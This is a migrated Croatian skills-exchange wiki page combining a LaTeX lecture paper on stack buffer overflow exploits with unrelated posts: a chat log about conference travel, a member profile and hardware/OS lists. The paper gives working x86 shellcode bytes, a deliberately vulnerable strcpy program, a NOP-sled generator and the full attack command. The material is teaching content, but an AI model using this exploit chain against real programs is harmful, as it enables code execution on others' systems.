Updated by TamTam Migration on May 18 6:58am
Posted by TamTam Migration on May 18 6:58am
attachment:conf_paper.pdf ili
kompajlirate sa pdflatex conf.tex
%conf.tex
\documentclass[a4paper, 10pt]{article}
\usepackage[croatian]{babel}
\author{Alan Pavi\v{c}i\'{c}\\ \textsf{akapav@gmail.com}}
\title{Buffer overflow}
\setlength{\parindent}{0pt}
\setlength{\parskip}{1ex plus 0.5ex minus 0.2ex}
\addtolength{\hoffset}{-1cm}
\begin{document}
\maketitle
\vspace{1cm}
U ovom papiru \'{c}emo pokazati osnovne tehnike {\it buffer overflow
exploita}. S obzirom da je papir prate\'{c}i materijal uz predavanje na
istu temu, izostavit \'{c}emo uvod u x86 asembler i {\it calling
convencije} o kojima \'{c}e biti rije\v{c}i u \v{z}ivo
Osnovna ideja ovakvih programa je da iskoriste memoriju alociranu na
{\it stacku} za nekakve korisni\v{c}ke podatke, te da u nju upi\v{s}u
vlastiti kod. Samo aktiviranje tog koda se radi tako da se pregazi
{\it return aresa}, podatak koji se tako\dj{}er nalazi na stacku i
slu\v{z}i da bi funkcije znale odakle su pozvane te kuda se moraju
vratiti. Umjesto originalne return adrese podme\'{c}e se neka druga,
na kojoj le\v{z}i uba\v{c}eni kod nakon \v{c}ega se mo\v{z}e
izvr\v{s}iti proizvoljna akcija sa pod istim onim ovlastima koje je
imao i vlasnik napadnutog programa
Akcija koju \'{c}emo mi izvr\v{s}avati prilikom ovog eksperimenta je
varijacija na temu popularnog hello worlda
Po\v{c}eti \'{c}emo sa vrlo malim hello world programom koji je
napisan u gcc-ovom inline asembleru, a pisanje na ekran radi preko
sistemskog poziva (primjetite da ovdje radi jednostavnosti sistemske
pozive radimo sa staromodnim $int$ $0x80$ umijesto pomo\'{c}u mnogo
br\v{z}eg $sysenter$a)
Pisanjem programa u asembleru i pozivima direktno u kernel dobivamo
manje i neovisnije programe koji \'{c}e se lak\v{s}e mo\'{c}i
izvr\v{s}avati na nepoznatim ra\v{c}unalima
\begin{verbatim}
int main(void)
{
__asm__ (" \
movl $3, %edx; \
movl $LBL, %ecx; \
movl $1, %ebx; \
movl $4, %eax; \
int $0x80; \
movl $1, %eax; \
int $0x80; \
LBL: .ascii \"aka\"; \
");
}
\end{verbatim}
Iako malen i jednostavan. prethodni program ima ozboljan problem -- naime
u liniji $movl LBL, \%ecx$ baratamo sa apsolutnom adresom, te
ovakav komad koda se ne mo\v{z}e izvr\v{s}avati na proizvoljnim
memorijskim lokacijama. Zbog toga isti program jo\v{s} jednom
prepisujemo, ali umjesto apsolutnog $movl$a, korisitmo relativne $jmp$
i $call$. Obratite pa\v{z}nju da se $call$ koristi za dohvat adrese
na kojoj se nalazi string
\begin{verbatim}
int main(void)
{
__asm__ (" \
jmp LBL; \
GO: pop %esi; \
movl $3, %edx; \
movl %esi, %ecx; \
movl $1, %ebx; \
movl $4, %eax; \
int $0x80; \
movl $1, %eax; \
int $0x80; \
LBL: call GO; \
.ascii \"akb\"; \
");
}
\end{verbatim}
Sad imamo rade\'{c}u {\it relokatibilnu} rutinu. Sljede\'{c}i korak je
izbaciti sve nule koje se nalaze u binarnom kodu napisanog
programa. Naime, s obzirom da \'{c}emo koristiti $strcpy$ funkciju za
ubacivanje na\v{s}eg bloka byteova, moramo se osigurati da kopiranje
ne stane prije nego smo planirali. Klasi\v{c}na tehnika punjenja neke
vrijednosti sa nula je da se ta vrijednost jednostavno $xor$a sa samom
sobom. Program izgleda malo slo\v{z}enije, ali je i poprimio svoj
kona\v{c}ni oblik
\begin{verbatim}
int main(void)
{
__asm__ (" \
jmp LBL; \
GO: pop %esi; \
xor %edx, %edx; \
movb $3, %dl; \
movl %esi, %ecx; \
xor %ebx, %ebx; \
movb $1, %bl; \
xor %eax, %eax; \
movb $4, %al; \
int $0x80; \
xor %eax, %eax; \
movb $1, %al; \
int $0x80; \
LBL: call GO; \
.ascii \"akc\"; \
");
\end{verbatim}
U datoteci {\it prog1.py} \'{c}emo jo\v{s} jednom napisati isti
program, samo umjesto standardnih simbola za asemblerske instrukcije,
koristimo numeri\v{c}ke vrijednosti spremljeno u jedno $python$
polje. Do samih vriednosti smo do\v{s}li koriste\'{c}i program
$objdump$
\begin{verbatim}
seq = [
0xeb, 0x17, #jmp LBL
#GO:
0x5e, #pop %esi
0x31, 0xd2, #xor %edx,%edx
0xb2, 0x03, #mov $0x3,%dl
0x89, 0xf1, #mov %esi,%ecx
0x31, 0xdb, #xor %ebx,%ebx
0xb3, 0x01, #mov $0x1,%bl
0x31, 0xc0, #xor %eax,%eax
0xb0, 0x04, #mov $0x4,%al
0xcd, 0x80, #int $0x80
0x31, 0xc0, #xor %eax,%eax
0xb0, 0x01, #mov $0x1,%al
0xcd, 0x80, #int $0x80
#LBL:
0xe8, 0xe4, 0xff, 0xff, 0xff, #callq GO
0x61, 0x6b, 0x64
]
\end{verbatim}
{\it bindump.py} je program koji kao argument prima ime datoteke poput
prethodne, a generira binarni file na standardnom outputu (npr:
$python.py prog1$ gdje je $prog1$ ime prethodne datoteke)
\begin{verbatim}
#!/usr/bin/python -u
import array
import sys
import signal
signal.signal(signal.SIGPIPE, signal.SIG_DFL)
mdl = __import__(sys.argv[1])
arr = array.array("B")
arr.fromlist(mdl.seq);
arr.tofile(sys.stdout)
\end{verbatim}
Da bismo se uvjerili da sve do sada radi, pokrenimo sljede\'{c}i
program\v{c}i\'{c} i na standardni ulaz mu treba dati izlaz iz
$bindump.py$. Ukoliko je sve u redu, program \'{c}e dobivene byteove
spremiti na heap, te \'{c}e ih izvr\v{s}iti kao da su regularna
funkcija
\begin{verbatim}
#include <stdio.h>
#include <stdlib.h>
unsigned char* read_stream(FILE *fp)
{
static const size_t block_size = 1024;
unsigned char* buff = NULL;
int cnt = 0;
do {
buff = (unsigned char*)realloc(buff, (cnt + 1) * block_size);
fread(buff + cnt++ * block_size, block_size, 1, fp);
} while(!feof(fp));
return buff;
}
int main(void)
{
typedef void(*fun_t)(void);
unsigned char *buff = read_stream(stdin);
((fun_t)(buff))();
free(buff);
return 0;
}
\end{verbatim}
Evo i "\v{z}rtve". Ovaj program \'{c}emo izvrgnuti napadu. Iako ovako
u laboratorijskim uvjetima izgleda vrlo naivno, strcpy iz velikog
buffera u ne\v{st}o manji se jo\v{s} uvijek mo\v{z}e na\'{c} i u
stvarnom svijetu_
\begin{verbatim}
#include <stdio.h>
#include <string.h>
void broken_fun(const char* src)
{
char dst[256];
printf("len: %d\n", strlen(src));
printf("%x\n", dst);
strcpy(dst, src);
}
int main(void)
{
char buff[512];
fgets(buff, 512, stdin);
broken_fun(buff);
return 0;
}
\end{verbatim}
{\it seqgen.py} je jo\v{s} jedan pomo\'{c}ni program\v{c}i\'{c}. S
obzirom da prilikom poku\v{s}aja ubacivanja na\v{s}eg koda u tu\dj{}i
program nismo uvijek to\v{c}no sigurni gdje se nalazi po\v{c}etak memorije
u koju se useljavamo ili gdje se nalazi return adresa koju treba
promjeniti, ovaj program nam generira na osnovu pravih_ bytova
koje \'{c}emo upotrebiti za exploit novu datoteku u kojoj se na
po\v{c}etku nalazi proizvoljan broj $nop$ instrukcija, a na kraju isto
tako proizvoljan broj return adresa. Sada nam poga\dj{}anje_ izgleda
puno lak\v{s}e
\begin{verbatim}
#!/usr/bin/python -u
import sys
import array
import signal
signal.signal(signal.SIGPIPE, signal.SIG_DFL)
arr = array.array("B")
arr.fromlist([0x90 for _ in range(int(sys.argv[1]))]);
arr.tofile(sys.stdout)
sys.stdout.write(sys.stdin.read())
arr = array.array("L")
arr.fromlist([int(sys.argv[2], 16) for _ in range(int(sys.argv[3]))])
arr.append(0x0a0a0a0a)
arr.tofile(sys.stdout)
\end{verbatim}
Kao ulazne argumente skripta uzima 3 broja -- broj $nop$ova prije rutine
za napad, vrijednost nove return adrese te koliko puta \'{c}emo tu
adresu upisati na stack. Rutinu za napad prima sa standardnog ulaza i
samo je prepisuje na izlaz
Ukoliko program \v{z}rtvu_ iskompajliramo sa
\begin{verbatim}
gcc ovfl.c -O -g -o ovfl
\end{verbatim}
pokretanje napada se moze napraviti sa npr.
\begin{verbatim}
./bindump.py prog1 | ./seqgen.py 103 0xbffff102 50 | ./ovfl
\end{verbatim}
Ukoliko ne pro\dj{}e iz prve, return adresu treba na\v{s}timati tako
da bude ne\v{s}to ve\'{c}a nego po\v{c}etak bufera (broj koji se
ispisuje iz $ovfl$ programa)
Ako vam je eksperiment uspio zna\v{c}i da nemate dobro pode\v{s}en
sustav, te kao root otkucajte
\begin{verbatim}
echo 1 > /proc/sys/kernel/randomize_va_space
\end{verbatim}
i eksperiment sada ponovite ;)
\end{document}
original May 11 5:10am
Updated by TamTam Migration on May 11 5:10am
Posted by TamTam Migration on May 11 5:10am
Updated by TamTam Migration on May 7 3:18pm
Posted by TamTam Migration on May 7 3:18pm
- Now talking in #razmjenavjestina
- Topic is 'www.razmjenavjestina.org -- http://mjesec.ffzg.hr:8000/'
- Set by dpavlin on Sat Mar 03 23:12:37
<drGspot> htjedoh spojit 2 dubrovchanke al bizzar nije tu...
<igor_> libervisco: hvala puno.
<libervisco> np :)
<igor_> jel si ti rezervirao let i smjestaj?
<libervisco> nisam jos.. samo se raspitujem
<libervisco> nisam jos siguran tocno kad je najbolje, program je jos uvjek u draft fazi
<libervisco> http://icommons.org/isummit-07/draft-programme/
<igor_> mi moram rezervisat u ponedeljak kako bi mogil da uzmemo karte za avion za 200 eur.
<libervisco> ako je ovako onda je najbolje doci prije 8 u jutro na 14. Lipanj.
<libervisco> za koje vrijeme ce te vi rezervirati?
<libervisco> 14 u jutro ili prije?
<igor_> jos ne znamo kada je prvi let za Dubrovnik i Skoplja
<igor_> ali zelimo biti tamu na 14-tog...
<drGspot> (ova Dubrovcanka "7of9" slusha nas hackere preko irc-logera) :-)
<libervisco> :)
<libervisco> Zna tko koliko kosta bus od Zagreba do Dubrovnika? Nemrem naci cijene nigdje na webu..
- misa has joined #razmjenavjestina
- misa has quit IRC (Remote closed the connection)
- misa has joined #razmjenavjestina
<igor_> a kolku traje put busom od ZG do DU?
<drGspot> u vrijeme rata preko Paga 17 sati
<drGspot> no sad ima most i autocesta Dalmatina...
<libervisco> pitam jer se jedan frend iz nizozemske raspituje, a i mene zanima...
<libervisco> ako je puno jeftinije od aviona mozda nebi bilo lose..
<drGspot> evo vele moji Zg-Split 5 sati...
<drGspot> ..neka brza linija
<drGspot> ..i onda 4 sata od St do Du
<libervisco> koliko otprilike to kosta?
<drGspot> http://www.akz.hr/
<drGspot> sad chu vidit
- misa__ has quit IRC (Read error: 113 (No route to host))
<libervisco> ah nisam znao za taj site.. znaci oko 180 do 200kn
<libervisco> pa skoro isto kao avion sa Croatia Airlines
FlyPromo :)
<drGspot> http://www.akz.hr/voznired/(S(1c4px455dqtb03irxjzhe22o))/voznired.aspx
<igor_> libervisco: koliko je to u eurima?
<libervisco> evo samo malo
<drGspot> s tim da nema datum za 6. mjesec...
<libervisco> 200.00 hrk = 27.02 eur
<libervisco> veli bot :)
<libervisco> hmm
<libervisco> a valjda se nebi trebalo previse mjenjat
<libervisco> no ako je cijena ista kao i avion, bolje ici avionom
<drGspot> da uzeo sam petak, al zapravo treba krenut dan ranije...(iskustvo sa LinKonfa Portoroz, IBM Linux 4um Umag itd)
<drGspot> ko se ne boji prvat po ariji...:)
<igor_> iz zagreba avionom za Dubrovnika je 30 eura?!?
<igor_> libervisco: super! A kad treba da se rezervise avion?
<libervisco> da, samo FlyPromo i to samo ako ideš u 6:20 u jutro, inace je 256kn
<libervisco> ne piše kad.. predpostavljam što prije to bolje :)
<libervisco> to je na https://www.croatiaairlines.com/
<drGspot> bash gledam nisu zakupili bez www...kako nePoslovno
<misa> libervisco: jel to uklucuje aerodromske takse i sl... i ovo 30 eur je pretpostavljam u jednom smijeru?
<libervisco> veli da ukljucuje pristojbe i Ticket Service Charge, i da jedan smjer
<libervisco> no cak i da je malo skuplje mislim da se isplati zbog vremena..
<libervisco> vazno da nije duplo :)
<drGspot> a pazi program Icommonsa...koktel dobrodoshlice na krovu Revelina..:)
<libervisco> hehe
<drGspot> ovo je jache od Gibonni-ja i Eni u Umagu (ibm 4um)
<misa> igor_: to je ta cijena... ako uklucis let iz skoplja za zagreb dobijas 200 eur
<drGspot> i vatrometa nakon gala vechere...
<drGspot> razmishlja kako bi spojio bizzarGirl i 7of9 girl i startao DuLinux...
- pae has joined #razmjenavjestina
- seven_of_nine has joined #razmjenavjestina
<seven_of_nine> bojk
<drGspot> jupiiii
<drGspot> ova cura je strashna :-)
<seven_of_nine> nisam
<drGspot> ushi su mi sve vruche---power to the linux chix
<seven_of_nine> nego nemogu margine prosirit da vidim ko je u sobi
<seven_of_nine> vidin pola slova prvog
<drGspot> manje vishe standardna ekipa
<drGspot> razvuci prozor
<seven_of_nine> nee
<seven_of_nine> siri s chat porstr al ne i popis chatera
<drGspot> na freenode-u ima oko 3ooo kanala (soba)
<drGspot> idemo do rijecana
<drGspot> kosa crta join #rilinux
- pae has quit IRC ("Leaving")
- seven_of_nine has quit IRC ("Leaving")
- Now talking in #rilinux
- Topic is 'http://ri.linux.vg/ - logovi i statistika | http://hr.open-tran.eu/ posluzite se | there's no place like CXXVII.0.0.I'
- Set by `h3x on Fri Apr 06 18:05:40
- seven_of_nine has joined #rilinux
<seven_of_nine> efo me
<drGspot> eto nas na sjevernom jadranu...vecer svima
<seven_of_nine> isto sse unose comandovi ko u wowu
<seven_of_nine> isto
<drGspot> jep...dosta je povuceno iz teleprintera u IRC, pa poslje u javaChateve i igre
<seven_of_nine> igras ti wowa
<drGspot> nep..to strategija, mud ?
<seven_of_nine> pvprlp
<seven_of_nine> world of warcraft
<seven_of_nine> moro si cut
<drGspot> aa jesam ..mi smo ipak amiga korijena
- libervisco has joined #rilinux
<drGspot> eto nam putnika za du..:)
<drGspot> 34o kn povratna lib
<seven_of_nine> nest tako
<seven_of_nine> al podji na starnicu od ap lika
<seven_of_nine> oni su jefitniji
<seven_of_nine> i brzi
<drGspot> eto 7of9 za tjedan dana dizhesh server sa DuLinux :)
<seven_of_nine> lol
<drGspot> naravno to podrazumjeva instalaciju PolarOS-a na komp
<seven_of_nine> ajoj
<seven_of_nine> komp mi se raspada
<seven_of_nine> ni wpm neznam popravit
<seven_of_nine> tj znam ma mi se neda
<drGspot> full backup / clean install
<drGspot> multiboot tipa
<seven_of_nine> nemijem ni windowse reinstalirat
<seven_of_nine> jer mi caji kopaju po kompu
<drGspot> ma podatke na CD DVD, reParticionirash, i gore napred vinblou$e iza Pingvine i to je to
<drGspot> nove distre imaju i javu pa che ti radit javaChat-evi
<seven_of_nine> ma necu se peglat
<seven_of_nine> ckeat cu jos par tjednana da zavrse da mi se
maknu iz doma pa cu onda
<drGspot> imash kakav LiveCD iz chasopisa
<seven_of_nine> sto mislis
<drGspot> linux...knoppix, suse, ubuntu,...?
<seven_of_nine> mislim da nemam
<seven_of_nine> i ako imam to je staro iz doma hackera
<drGspot> to ti obicno izidje u mrezi, pc chipu, i sl
<seven_of_nine> to sam kuovala
<seven_of_nine> i pc play prije
<libervisco> seven_of_nine, ap lika?
<seven_of_nine> da
<seven_of_nine> ili autoprijevo
<seven_of_nine> al mislim da je ap lika
<seven_of_nine> il pdoji na strance dubrovackog kolodvora
<seven_of_nine> ili zg
<libervisco> ok, hvala
<seven_of_nine> n.p.
<drGspot> da sam bar ostavio godishnjeg i love za icommons
<libervisco> iako neznam koliko je na kraju to stvarno bolje od aviona, ak je avion samo 30 EURa vise manje..
- pae has quit IRC ("Leaving")
<seven_of_nine> u kojem ce te hotelu bit
<libervisco> ja jos neznam.. vjerojatno nekom jeftinom za 25 eura..
<libervisco> ionako necemo bit u hotelu cijelo vrijeme :)
<seven_of_nine> ovako
<seven_of_nine> prilicno dobar hotel vam je ivka
<`h3x> a/s/l
<seven_of_nine> nema pogleda ima 3 zvijezidce
<seven_of_nine> al je dobar
<linpp> vozdra
<drGspot> e linp CB-jashu stari :)
<linpp> bivsi ;)
<linpp> jel rade stanice oke'
<libervisco> ivka zvuci dobro, ali je 50 eura..
<drGspot> 7of9 spasio sam konverzaciju sa ri u editor...
<seven_of_nine> ok
<seven_of_nine> ja sam munjana za ovo
<seven_of_nine> nego odo ja vanka partijanit
<drGspot> ono na razmjeni je zabiljezila stenografkinja anna (irc-logger)
<libervisco> http://www.hotel-ivka.com/
<libervisco> :)
<seven_of_nine> vidimo se
<libervisco> cya seven_of_nine
<seven_of_nine> cek mislim da tu ima moja slika nedje
<seven_of_nine> nema prije je bila
- seven_of_nine has quit IRC ("Leaving")
<libervisco> evo je ;)
<libervisco> jk
<linpp> tko ti je ta, drGspot? :)
<drGspot> javaChatGirl
<drGspot> spojit chemo sa bizzar, pa ko zna...
<linpp> mozda se i znaju ;>
<libervisco> bbl
<linpp> cu
original Apr 21 11:43am
Updated by TamTam Migration on Apr 21 11:43am
Posted by TamTam Migration on Apr 21 11:43am
Dobrica Pavlinušić, dpavlin
Ne volim baš naročito wiki-je. Ili barem ovaj :-)
Nudim:
- perl
- PostgreSQL
- Linux administracija
- nešto malo networkinga
Tražim:
- nove perspektive na probleme u drugim jezicima (u zamjenu nudim priličnu količinu cinizma koji je rezultat 7+ godina u industriji)
original Apr 19 2:32pm
Updated by TamTam Migration on Apr 19 2:32pm
Posted by TamTam Migration on Apr 19 2:32pm
full backup/clean install:
1. irssa Sub 14.4: Sempron64,AM2, 512MB (128graf), nVidia 61oo; win98se/te, win2oooProSP5, xpProHrSp1/2 (diagnostika); Mandr{iva}ake Linux >=9.0 HRid bus_off 2.o; RedHat Linux 8Pro; 9; FedoraCore 3 x86_64 ; [Open]SuSE 7.2 Pro, 8, 9, 10 Ubuntu 5.04, 6.o6lts, 6.1o; Debian GNU/Linux 3.1r0{5} amd64
---
------------------------------------------
----
2. ivanIno VR Space 21.4: P4 {EM64T ?}, 1024MB, 120GB, >845 intelChipset, win98te, {w2oooProSP5 ?}, winxpProHrSp1/2, Mandr{iva}ake Linux >=10.1Community, RedHat Linux 8Pro; 9; FedoraCore 2, (3,4,5,6); [Open]SuSE 7.2 Pro, 8, 9, 10 Ubuntu 5.04, 6.o6lts, 6.1o; Debian GNU/Linux, 3.1r0{5} amd64, MacOS X.4 x86, Canon Pixma IP43oo (i scaner, printa na CD, driver ?)
BeOS 5.0 Max Personal Edition 3.xx
---
---------------------------------------
----
3. neLa >28.4 PIII Celeron 256 MB graf 32 MB graf nvidia samo CD-Rom ! 20 GB
win98s.e. t.e. win2oooProSP5 (xp Pro HrSp1/2)--samo za detekciju hardware-a
Mandrake Linux 8.0 HRid 0.9 (P1/32MB)
Mandrake Linux 8.1 HRid 1.5
Mandrake Linux 9.0 HRid 2.0 bussines_office_home OpenOfficeEn
RedHat 8; 9; FedoraCore (OpenRedHat) 2, {3,4,5,6} (Open)?SuSE 7.2 Pro {8,9,10} Debian GNU Linux 3.1r0{5}
Ubuntu 4.1o, 5.04,{6.06 LTS(DVD),6.1o (DVD)(7.04)}
(neparticionirani prostor, buduce instalacije)
OpenOffice od >=1.1.1b Hr (lin win)
OpenOffice 2.1o (ima i bazu, security holes patched, new introduced)
Opera 8.51 (8.54 ima bug), 9.1o (bittorrent client)
Netscape Messenger 4.61 (trga zlocheste stvari)
Mozilla FireFox 2.o.o._
Mozilla thunderBird 1.7
Mozilla Suite 1.7 (OpeNetscape 7.x)
---
-----------------------
----
driveri (lin, win,...)
vatroZid, anti: virus, crv, trojan, spyware, addware, rootkit, exploit, patch, serPac...
userLand: šminkanje, enciklopedije, atlasi, prevodioci, cad/cam, obrada texta, slika, crtanje,
irc klijenti, java (pseudoChat), multimedija, dvd, divx, mp3, igre (šah, kuglice, kockice, logičke, ...)
----
-----------------------
----
4. Koprivnjak: stari stroj: PII/233MHz 128MB(96) Diamond Stealth 3D 4ooo Turbo intel chipset awe64
novi stroj: Athlon Palomino 16oo MHz 512 MB 40 GB x 2
spaljen osigurach/zener dioda ? u USB power 5V krugu (ne rade usb tastature preko header zbog tog...)
original Apr 8 10:31am
Updated by TamTam Migration on Apr 8 10:31am
Posted by TamTam Migration on Apr 8 10:31am
PIII Celeron
256 MB
graf 32 MB graf nvidia
samo CD-Rom
20 GB
win98s.e. t.e.
win2oooProSP5
(xpProHrSp1/2)--samo za detekciju hardware-a
Mandrake Linux 8.0 HRid 0.9 (P1/32MB)
Mandrake Linux 8.1 HRid 1.5
Mandrake Linux 9.0 HRid 2.0 bussines_office_home OpenOfficeEn
RedHat 8; 9; FedoraCore (OpenRedHat) 2, {3,4,5,6}
(Open)SuSE 7.2 Pro {8,9,10}
Debian GNU Linux 3.1r0{-5}
Ubuntu 4.1o, 5.04,{6.06 LTS(DVD),6.1o(DVD)(7.04)}
(neparticionirani prostor, buduce instalacije)
OpenOffice od >=1.1.1b Hr (lin win)
OpenOffice 2.1o (ima i bazu, security holes patched, new introduced)
Opera 8.51 (8.54 ima bug), 9.1o (bittorrent client)
Netscape Messenger 4.61 (trga zlocheste stvari)
Mozilla FireFox 2.o.o._
Mozilla thunderBird 1.7
Mozilla Suite 1.7 (Openetscape 7.x)
----
-----------
----
info za konTakt:
iskonChat:
http://chat.net.hr/index.jsp
user: drgspot
soba: Batak Bitak
g33k-ovi (ex tehnologija)
pravi chat:
/server irc.freenode.net (posluzitelj)
/join #razmjenavjestina (kanal)
javaChat:
http://komunikator.tportal.hr/
soba: predsoblje
user: drGspot
(moguce ga je koristit i kao pravi chat (mIrc, X-chat, irssi,...)
activistichki mail
(ne cita se casto kao glavni): drgspot@net.hr
kolaboracijski tamtam(wiki)
http://www.razmjenavjestina.org/
http://www.razmjenavjestina.org/[RazmjenjivaciVjestina]
http://www.razmjenavjestina.org/[RazmjenjivaciVjestina]/[DrGspot]
forum:
http://www.voodoo-amiga.com/forum/
forum,hr podforum linux/unix:
http://www.forum.hr/forumdisplay.php?forumid=92
index,hr/forum/ podforum hw sw:
http://index.hr/forum/
original Apr 8 2:41am
Updated by TamTam Migration on Apr 8 2:41am
Posted by TamTam Migration on Apr 8 2:41am
Updated by TamTam Migration on Apr 7 10:34am
Posted by TamTam Migration on Apr 7 10:34am
Bok ekipo trebam pomoc oko dizajna sajta udruge VRSpace www.vrspace.org! Brijem 1 sat posla da tu ima !
original Apr 6 7:13am
Updated by TamTam Migration on Apr 6 7:13am
Posted by TamTam Migration on Apr 6 7:13am
KlaudioSjenekadBioKlaudioStefancic
Updated by TamTam Migration on Apr 6 3:16am
Posted by TamTam Migration on Apr 6 3:16am
|
Weblog Navigation
Loading...
|